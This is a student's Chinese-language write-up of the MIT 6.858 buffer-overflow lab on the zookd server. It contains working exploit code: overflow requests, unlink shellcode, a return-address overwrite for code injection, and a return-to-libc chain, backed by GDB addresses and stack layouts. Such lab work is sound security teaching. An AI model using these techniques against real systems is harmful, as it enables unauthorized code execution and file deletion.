Computer Security - Buffer overflows
MIT6.858 -- Computer Systems Security 课程
Lab Setup
Enviroments: Mac laptops with the ARM M2 processor
下载VM镜像 安装qemu(x86模拟器)
brew install qemu
删除6.858-x86_64-v22.sh
中的-enable-kvm
flag。注意,不要将这一行注释掉,而是直接删除,否则bash脚本就断开了,详见stacks overflow
启动镜像之后就可以用ssh连接了
ssh -p 2222 student@localhost
当时课程网站的git仓库clone不了,就在github上找了一个2020年的实验。
在~/.ssh/config
加一行alias,方便ssh连接。推荐使用vscode的插件 Remote Explorer 来连接开发环境
Host 858vm
User student
HostName localhost
Port 2222
Lab1 Buffer overflows
Part 1: Exercise1
首先要找到zookd服务器的vulnerability,我找了如下几个,但是还有更多。
-
zookd.c -> http.c:105 process_client 中有 reqpath是分配在栈上,process_client -> http_request_line -> url_decode 调用http.c中的url_decode作为dst参数传入,但是http_request_line中的buf设置的大小是8192,比reqpath(4096)大, 如果request line的请求url过长,那么就会覆盖reqpath所在的栈上内容,造成buffer overflow
-
http.c:286 经过decode后的URI传给 http_serve, 如果URI(参数name)全是 '\0', 那么strlen测量的字符串长度就一直是0. strncat将name接到pn的末尾后就会覆盖栈上的内容(char pn[2048]) 因此这个错误应该会比上面的那个错误先被触发(http_serve返回时) 不容易触发,有防护
-
http.c:23 touch函数接受的参数如果过长,会造成栈溢出
-
http.c:159 在处理http_request_header时,value是在栈上分配的(char value[512]),请求体的参数值被url_decode到value后,没有检测长度 基于这个构造请求体:
injectValue = b"a" * 600
req = b"GET / HTTP/1.0\r\n" + \
b"Exploid: " + injectValue + \
b"\r\n"
Exercise2
再使用buffer overflow的技术导致服务器崩溃(暂时不需要注入shellcode)。主要原理就是覆盖栈上保存的返回地址,让程序返回到无效的地址。
使用上面找到的第4个vulnerability来构造攻击,主要是溢出 http.c:http_request_header
中的value。
def build_exploit():
injectValue = b"a" * 600
req = b"GET / HTTP/1.0\r\n" + \
b"Exploid: " + injectValue + \
b"\r\n"
return req
Part 2: Code Injection
zookd这个http server的栈是可执行的,所以可以往栈上注入代码,通过覆盖了当前函数的返回值,跳到栈中injected code的起始位置,可以执行攻击者的代码。
exercise 3
修改Shellcode.S来完成 unlink 系统调用的运行,完成unlink /home/student/grades.txt
。
#include <sys/syscall.h>
#define STRING "/home/student/grades.txt"
#define STRLEN 24
#define ARGV (STRLEN+1)
.globl main
.type main, @function
main:
jmp calladdr
popladdr:
popq %rcx /* get the STRING address */
movq %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */
xorq %rax,%rax /* get a 64-bit zero value */
movb %al,(STRLEN)(%rcx) /* null-terminate our string */
movb $SYS_unlink,%al /* set up the syscall number */
movq %rcx,%rdi /* syscall arg 1: string pathname */
syscall /* invoke syscall */
xorq %rax,%rax /* get a 64-bit zero value */
movb $SYS_exit,%al /* set up the syscall number */
xorq %rdi,%rdi /* syscall arg 1: 0 */
syscall /* invoke syscall */
calladdr:
call popladdr
.ascii STRING
exercise 4
使用gdb找到 http_request_headers 中value在栈上的位置,这个位置就是注入代码的开始位置。注意:使用gdb时要在目录~/lab
下运行,这样gdb才能读取.gdbinit
文件,跟随子进程跳转。
(gdb) print &value[0]
$1 = 0x7fffffffda50
(gdb) print &envvar[0]
$1 = 0x7fffffffd850
(gdb) info frame
Stack level 0, frame at 0x7fffffffdc90:
rip = 0x555555556f4b in http_request_headers (http.c:124);
saved rip = 0x555555556b29
called by frame at 0x7fffffffecc0
source language c.
Arglist at 0x7fffffffdc80, args: fd=4
Locals at 0x7fffffffdc80, Previous frame's sp is 0x7fffffffdc90
Saved registers:
rbx at 0x7fffffffdc78, rbp at 0x7fffffffdc80, rip at 0x7fffffffdc88
可以看到当前栈帧的保存的rbp、rip所在的栈上的地址。
完成exploit-2.py
"""
bottom of top of
memory memory
envvar value i sbp ret
<-- [0 512][ 0 512 ][ ][ ][ ] main...
"""
addr_value_buffer = 0x7fffffffda50
addr_retaddr = 0x7fffffffdc88
def build_exploit(shellcode):
## Things that you might find useful in constructing your exploit:
##
## urllib.quote(s)
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x
# 将shellcode之后到ret开始地址的中间内容填充满
shellcode += b"A" * ((addr_retaddr - addr_value_buffer) - len(shellcode))
# 覆盖返回地址为value_buffer的起始地址
shellcode += struct.pack("<Q", addr_value_buffer)
req = b"GET / HTTP/1.0\r\n" + \
b"Exploid: " + shellcode + \
b"\r\n"
return req
Part 3: Return to libc
当zookd的栈被标志为不可执行后,就不能通过注入代码来完成攻击了,只能使用Return-Oriented-Programming的技术,找现有程序汇编代码中的gadget,通过每次覆盖返回地址,不断地跳转,完成断章取义式的攻击。
这个lab给了一个现有的gadget:accidentally函数。我们可以查看他的汇编:
(gdb) disas accidentally
Dump of assembler code for function accidentally:
0x000055555540188a <+0>: push %rbp
0x000055555540188b <+1>: mov %rsp,%rbp
0x000055555540188e <+4>: mov 0x10(%rbp),%rdi
0x0000555555401892 <+8>: nop
0x0000555555401893 <+9>: pop %rbp
0x0000555555401894 <+10>: ret
End of assembler dump.
依旧使用http_request_headers中的value buffer做溢出。画出breakpoint设置在http_request_header位置时的栈,便于理解
64bit 0
|process_client|
+--------------+ 16 byte
| ret addr | --> 当前函数的返回地址 (需要被覆盖为accidentally的起始地址)
+--------------+ 8
| saved bp | --> 保存的ebp
ebp -> +--------------+ 0
| int i |
+--------------+ -8
| |
| |
| |
+--------------+ <- value 起始地址
我一开始的想法是把 pathstr:/home/student/grades.txt
以及填充的返回地址都放在value buffer中,但是发现由于accidentally使用 mov 0x10(%rbp),%rdi
来获取字符串的地址,而这个pathstr加上\0
的结尾字符,长度超过了24(0x10 + 8)。不够放其他的返回地址,否则不能对齐。所以只能选择从ret_addr开始进行溢出,value到ret_addr之间都填充为garbage。
假设完成了栈上的溢出,继续画出调用到accidentally开始时的栈帧:
64bit 0
| |
+ + 40 byte
| pathstr | --> 覆盖为真正存储 pathstr 的位置
+--------------+ 32
| pathstr_addr| --> 0x10(%rbp) 所指向的位置,覆盖为 pathstr 的起始地址 $rbp+32
+--------------+ 24
|unlink_addr | accidentally的返回地址应该被覆盖为 unlink 函数的起始地址
+--------------+ 16
| random rbp | 由于push rbp而形成的 (原来放着覆盖的accidentally的起始地址)
+--------------+ 8 <-- rsp ,由于move rsp rbp,此时rbp也指向这里
所以最终在http_request_header中栈帧应该被覆盖为:
64bit 0
| |
+--------------+ 48 byte
| |
+ + 40
| pathstr |
+--------------+ 32
| pathstr_addr |
+--------------+ 24
| unlink_addr |
+--------------+ 16 byte
| ret addr | --> 当前函数的返回地址 覆盖为accidentally的起始地址
+--------------+ 8 - +
| saved bp | |
rbp -> +--------------+ 0 |
| int i | | } -> fill with junk
+--------------+ -8 |
| | |
| | |
str_addr -> +--------------+ <- value 起始地址 -512
因此filename所在的位置就是:
(gdb) print $rbp + 32
$4 = (void *) 0x7fffffffdca0
注意filename后面也要加\r\n
addr_value_buffer = 0x7fffffffda50
addr_retaddr = 0x7fffffffdc88
addr_rbpaddr = 0x7fffffffdc80 # http_request_header中$rbp所指向的位置
addr_accidentally = 0x55555540188a # 第一次尝试的时候把这个返回地址搞错了
libc_unlink_addr = 0x1555554011c0
filename_addr = addr_rbpaddr + 32
# 输入64位int
def percent_hex_encode(payload: int):
r = b""
for c in payload: # for every char at payload
# 转换为单字节 转换为16进制表示的str 编码为bytes
r += b"%" + c.to_bytes(1, "little").hex().encode()
return r
def build_exploit():
## Things that you might find useful in constructing your exploit:
##
## urllib.quote(s)
## returns string s with "special" characters percent-encoded
## struct.pack("<Q", x)
## returns the 8-byte binary encoding of the 64-bit integer x
# 将shellcode之后到ret开始地址的中间内容填充满
filename = b"/home/student/grades.txt" + b"\0" + b"\r\n"
# 其他部分填充garbage
shellcode = b"A" * (addr_retaddr - addr_value_buffer)
# 覆盖到栈上的各个地址
payload = b""
# 覆盖http_request_header返回地址为accidentally的起始地址
payload += struct.pack("<Q", addr_accidentally)
# 覆盖accidentally的返回地址为unlink的起始地址
payload += struct.pack("<Q", libc_unlink_addr)
# 覆盖为filname的起始地址 $rbp+32 (即对于accidentally栈帧来说 0x10(%rbp) 所指向的位置 )
payload += struct.pack("<Q", filename_addr)
# 由于我们要攻击url_decode函数,但是url_decode遇到\0字节就会停止读取了,
# 所以要把输入的已经转换为64bit的字节序列,转换为%百分号encode的编码
# 将 \0 编码为 %00
shellcode += percent_hex_encode(payload)
# 写入filename
shellcode += filename
req = b"GET / HTTP/1.0\r\n" + \
b"Exploid: " + shellcode + \
b"\r\n"
return req
使用gdb来检查 在http_request_header设置断点,检查overflow的内容是否已经全部写上去了
(gdb) x/g $rbp + 8
0x7fffffffdc88: 0x0000555555556b8c
(gdb) x/g $rip
0x555555401d8c <http_request_headers+365>: 0x4800001499358d48
(gdb) x/g $rbp + 16
0x7fffffffdc90: 0x00001555554011c0
(gdb) print *(char *)($rbp + 32)
$16 = 47 '/'
(gdb) print (char *)($rbp + 32)
$17 = 0x7fffffffdca0 "/home/student/grades.txt"
(gdb) x/g $rbp + 24
0x7fffffffdc98: 0x00007fffffffdca0
(gdb) print $rbp + 32
$18 = (void *) 0x7fffffffdca0
Part 4: fix
第四部分就是修复之前用到的漏洞,主要就是几个buffer的长度问题,尤其是url_decode时dst的长度的提供。
知识补充
x86
x86内存布局、寄存器相关、函数调用可以参考cs161课程
Smashing the Stack in the 21st Century
gdb
shell
sed的 \1-9
提取匹配的模式。s动作表示替换 s'/oldstr/newstr/g
$ echo QEMU emulator version 7.2.0 | sed 's/QEMU emulator \([a-zA-Z]*\) \([0-9]\)\.\([0-9]\).*/\1.\2.\3/'
version.7.2